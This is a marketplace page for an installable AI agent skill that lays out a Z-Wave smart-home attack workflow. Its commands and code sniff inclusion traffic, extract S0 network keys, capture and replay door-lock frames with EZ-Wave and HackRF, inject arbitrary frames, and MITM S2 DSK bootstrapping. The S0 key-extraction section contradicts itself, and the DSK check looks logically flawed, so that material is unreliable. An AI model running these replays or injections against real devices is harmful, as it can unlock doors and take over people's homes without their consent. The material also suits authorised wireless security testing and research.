# Z Wave

> Z-Wave S0 network-key derivation flaw exploitation, S2 ECDH/DSK analysis, replay attacks against unauthenticated Z-Wave nodes, traffic capture with RTL-SDR, and active fuzzing/replay with EZ-Wave and Z-Force. Covers 868.42 MHz (EU) and 908.42 MHz (US) bands.

- Skill: `purpleailab/z-wave` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/z-wave`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/z-wave/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/z-wave

---


# Z-Wave S0/S2 Security Assessment

> Z-Wave is the dominant proprietary RF protocol for smart-home devices
> (locks, thermostats, sensors). Security class S0 (2009) has a fundamental
> key-exchange flaw: the network key is transmitted in cleartext during
> inclusion. S2 (2017) upgrades to ECDH but introduces a DSK (Device
> Specific Key) bootstrapping step that can be MITM'd if the controller
> UI does not enforce out-of-band DSK verification.

## Prerequisites

- **Hardware**:
  - RTL-SDR Blog v4 (passive capture, 24–1766 MHz) + GNU Radio.
  - HackRF One (TX/RX, active replay and injection, 1 MHz–6 GHz).
  - OR Sigma Designs UZB stick / Aeotec Z-Stick Gen5 (USB Z-Wave
    controller, for EZ-Wave / Z-Force active work).
- **Software**: `gr-zwave` (GNU Radio Z-Wave OOK decoder), EZ-Wave,
  Z-Force / zniffer, Scapy with Z-Wave layer.

```bash
# Install gr-zwave (build from source on Kali):
git clone https://github.com/BastilleResearch/scapy-radio
# EZ-Wave:
git clone https://github.com/AFcruzBR/EZ-Wave
pip install pyserial pyzmq
# Z-Force (Silabs):
# Download Zniffer binary from Silabs PC_Host_SW_Bundle; run on Windows VM or Wine.
```

## Z-Wave Frequency Reference

| Region | Primary frequency | Fallback |
|---|---|---|
| EU / UK | 868.42 MHz | 869.85 MHz |
| US / CA | 908.42 MHz | 916.0 MHz |
| JP | 922–926 MHz | — |
| AU / NZ | 919.8 MHz | 921.4 MHz |

Set your SDR to the correct region frequency.

## Phase 1: Passive Capture with RTL-SDR + gr-zwave

```bash
# Start GRC flowgraph for Z-Wave OOK demodulation:
# Use the gr-zwave example flowgraph (zwave_rx.grc).
# Set sample rate = 2 MHz, center_freq = 908.42e6 (US) or 868.42e6 (EU).
gnuradio-companion /path/to/gr-zwave/apps/zwave_rx.grc

# Alternatively, capture raw IQ and decode offline:
rtl_sdr -f 908420000 -s 2000000 -g 40 /tmp/zwave_capture.iq
# Then pipe through gr-zwave offline decoder:
python3 gr-zwave/apps/decode_zwave_file.py /tmp/zwave_capture.iq
```

Capture traffic during an inclusion event (when a new device is added to the
controller) — S0 key transport happens in plaintext at this moment.

## Phase 2: S0 Key Extraction During Inclusion

S0 inclusion sequence:
1. Controller sends `NETWORK_KEY_SET` with the 16-byte network key **XOR'd
   with the Z-Wave default key** `0x00×16`.
2. Node acknowledges with `NETWORK_KEY_VERIFY`.

Since the default key is all-zeros, the XOR is trivially reversible:

```python
DEFAULT_KEY = b'\x00' * 16  # Z-Wave S0 default key

def extract_s0_key(key_set_payload: bytes) -> bytes:
    """
    key_set_payload: bytes 3–18 of the NETWORK_KEY_SET command body (after CC byte 0x98, cmd 0x06).
    """
    return bytes(a ^ b for a, b in zip(key_set_payload[:16], DEFAULT_KEY))
    # Since DEFAULT_KEY is 0x00 this is identity — the key IS the payload.

# In practice, the "encrypted" key in S0 KEY_SET is sent under a temp key
# derived from the controller nonce + node nonce; capture both nonces.
```

Use Scapy Z-Wave layer to parse frames from pcap:

```bash
# EZ-Wave sniffer mode (requires Aeotec Z-Stick or UZB):
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c sniff | tee /tmp/ezwave_sniff.txt
```

## Phase 3: Replay Attack on Unauthenticated Nodes (No-Security / S0 with extracted key)

Devices that joined with **no security class** (very common on older gear)
accept any RF frame addressed to their NodeID. EZ-Wave replay:

```bash
# Record a legitimate command (e.g., door lock LOCK command):
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c capture -f /tmp/lock_cmd.bin

# Replay the frame (unmodified) — triggers the lock:
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c replay -f /tmp/lock_cmd.bin
```

With HackRF + GNU Radio for raw OOK replay:

```bash
# 1. Capture raw IQ of target frame:
hackrf_transfer -r /tmp/zwave_frame.iq -f 908420000 -s 2000000 -l 40 -g 40

# 2. Replay at same frequency:
hackrf_transfer -t /tmp/zwave_frame.iq -f 908420000 -s 2000000 -x 47
```

## Phase 4: S2 DSK MITM Analysis

S2 inclusion uses ECDH (Curve25519). The DSK (device-specific key, a 16-digit
PIN printed on the device label) is used for bootstrapping the ECDH exchange.
Attack vectors:

1. **MITM if DSK not verified**: if the controller software auto-accepts the
   DSK without prompting the user to verify, a spoofed node can substitute
   its own public key.

2. **Physical DSK exposure**: the DSK is printed on a label or QR code on the
   device. If the attacker had physical access (supply chain, retail), they
   can record DSKs and later include the device under their own controller.

```python
# Verify the ECDH public key in the S2 NODE_INFO_CACHED_GET exchange:
# Use Z-PC-Zniffer (Silabs) to capture the S2 INCLUSION_REQUESTED_REPORT.
# Extract the node's public key (32 bytes) from the Z-Wave Application
# Framework spec table "SECURITY_2_PUBLIC_KEY_REPORT".

# Cross-check with the DSK:
# First 2 bytes of the public key == first 2 bytes of the DSK (big-endian).
# If auto-granted, the controller accepted without verifying remaining 14 bytes.
def check_dsk_mismatch(public_key_hex: str, dsk_pin: str) -> bool:
    pk_bytes = bytes.fromhex(public_key_hex)
    dsk_bytes = bytes.fromhex(dsk_pin.replace("-", ""))
    return pk_bytes[:2] == dsk_bytes[:2] and pk_bytes[2:16] != dsk_bytes[2:16]
```

## Phase 5: Z-Force Active Fuzzing

Z-Force (formerly Silabs PC Zniffer extended by security researchers) allows
injecting arbitrary Z-Wave frames via the USB Z-Wave controller:

```bash
# Z-Force CLI — inject raw frame to NodeID 5, Command Class 0x25 (Binary Switch):
zforce inject --node 5 --cc 0x25 --cmd 0x01 --payload 0xFF  # Switch ON

# Enumerate all nodes in range (broadcast NodeID 0xFF):
zforce scan --freq 908420000

# Replay a captured BASIC_SET frame:
zforce replay --file /tmp/basic_set.zwave --node 5
```

## Evidence

```bash
EVIDENCE="/workspace/evidence/z-wave/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/zwave_capture.iq "$EVIDENCE/"
cp /tmp/ezwave_sniff.txt "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"
```

```python
kg_add_node(
    kind="finding",
    label=f"Z-Wave S0 network key extracted NodeID={node_id}",
    props={
        "key": f"z-wave::s0::{home_id}",
        "home_id": home_id,
        "node_id": node_id,
        "s0_network_key_hex": s0_key.hex(),
        "security_class": "S0",
        "frequency_mhz": 908.42,
        "source": "gr-zwave+ezwave",
    },
)
```

## OPSEC Notes

- Z-Wave HomeID (32-bit) is broadcast in every frame — trivially identifies
  the network. Capture any frame to determine HomeID.
- Replay of door lock commands is a physical security event. Only perform
  with owner consent and a documented rollback plan (alternate entry method).
- RTL-SDR is receive-only — zero RF emission from capture phase.
- HackRF replay is detectable by a Z-Wave sniffer or IDS (Silabs Zniffer)
  if the operator has one deployed; most consumer smart-home installs do not.
- S2 with ACCESS or AUTHENTICATED class and manual DSK verification is
  resistant to all MITM techniques described here; document as hardened.

## References

- EZ-Wave: https://github.com/AFcruzBR/EZ-Wave
- gr-zwave: https://github.com/BastilleResearch/scapy-radio (Z-Wave module)
- Crowley & Heeger "Z-Wave Reverse Engineering" (DEF CON 21).
- Silabs Z-Wave PC Zniffer: https://www.silabs.com/developers/z-wave
- Z-Wave Alliance security classes: SDS13784 (Security 2 spec).

